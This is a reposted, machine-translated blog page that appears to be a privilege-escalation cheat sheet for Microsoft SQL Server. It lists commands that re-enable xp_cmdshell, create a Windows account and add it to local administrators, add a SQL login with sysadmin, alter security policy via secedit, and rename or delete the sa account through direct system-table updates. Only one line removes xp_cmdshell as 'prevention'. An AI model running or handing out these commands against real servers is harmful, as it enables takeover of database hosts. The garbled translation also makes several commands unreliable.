SQL Server upgrade authority related commands and prevention

xiaoxiao2021-03-05  22

SQL Server upgrade authority related commands and prevention

EXEC MASTER..XP_CMDSHELL "NET User Name Password / Add" -

; exec master..xp_cmdshell "Net localgroup administrators name / add" -

Program code to open the SQL statement of cmdshell

EXEC SP_ADDEXTENDEDPROC XP_CMDSHELL, @ DLLNAME = 'XPLOG70.DLL'

Determine if the storage extension exists

SELECT Count (*) from master.dbo.sysObjects where xtype = 'x' and name = 'xp_cmdshell'

Return the result is 1 OK

Restore xp_cmdshell

Exec master.dbo.addextendedProc 'xp_cmdshell', 'xplog70.dll'; select count (*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

Return the result is 1 OK

Otherwise upload XPLog7.0.dll

Exec master.dbo.addextendedProc 'xp_cmdshell', 'c: /winnt/system32/XPLOG70.DLL'

SQL statement blocked on cmdshell

sp_dropextendedProc "XP_cmdshell"

DOS:

DIR C: /

DIR D: /

DIR E: /

NET User TsinterNetUsers Password / Add

Net localgroup administrators TsinterNetUsers / Add

Backup recovery IPsec

SECEDIT / EXPORT / CFG C: /TMP.INF

echo sedenynetworklogonright = >> c: /tmp.inf

SECEDIT / Configure / DB C: /Windows/secedit.sdb / cfg c: /tmp.inf

SQL:

EXEC MASTER..SP_ADDLOGIN UserName, Password

Exec master..mp_addsrvrolemember username, sysadmin

SA account change and deletion

First open the Enterprise Manager in SQL, then select SQL Server configuration properties in the Tools tab, point the server settings, see the boxes that allow the system directory to modify the front box, click, ok.

Open the query analyzer, log in to go in (huh, just what accounts you use, but you must be in the master database with DB_OWNER permission)

Update sysxlogins set name = 'You want to change the name' where SID = 0x01

Update sysxlogins set sid = 0xe765555bd44f054f89cd0076a06e823 where name = 'you want to change the name "

OK, execution, good pull, the login in the security in the enterprise manager, see, SA is the XWQ pull, huh, huh, choose XWQ Click to right click, how is it not a deleted option, huh, huh ,delete. See if sa is no longer pulled.

postscript

How to delete SA directly in the query analyzer

How to delete SAs directly in the query analyzer, the practice is almost the same, but this time is not to do hand and foot in the Enterprise Manager, but use SQL to provide our powerful stored procedure to complete this task. Here is the stored procedure sp_configure, sp_configure displaying or changing the current server's global configuration settings. Its syntax:

sp_configure [[@configname =] 'name']

[, [@ConfigValue =] 'value']

Example:

sp_configure 'allow updates', 1

Go

Reconfigure with override

Go

Ok, so we can update the system's schedule, next to the previous practices.

However, pay attention to all users by default on the execution license permissions of the parameter (or only the first parameter) on sp_configure. The execution license permissions for two parameters SP_Configure (to Change Configuration Options) are granted the sysadmin and serveradmin fixed server roles by default. Reconfigure Permissions The default grants the sysadmin fixed server role and ServerAdmin fixed server roles and cannot be transferred. It is also necessary to be DB_WNER in Master.

转载请注明原文地址:https://www.9cbs.com/read-37801.html

New Post(0)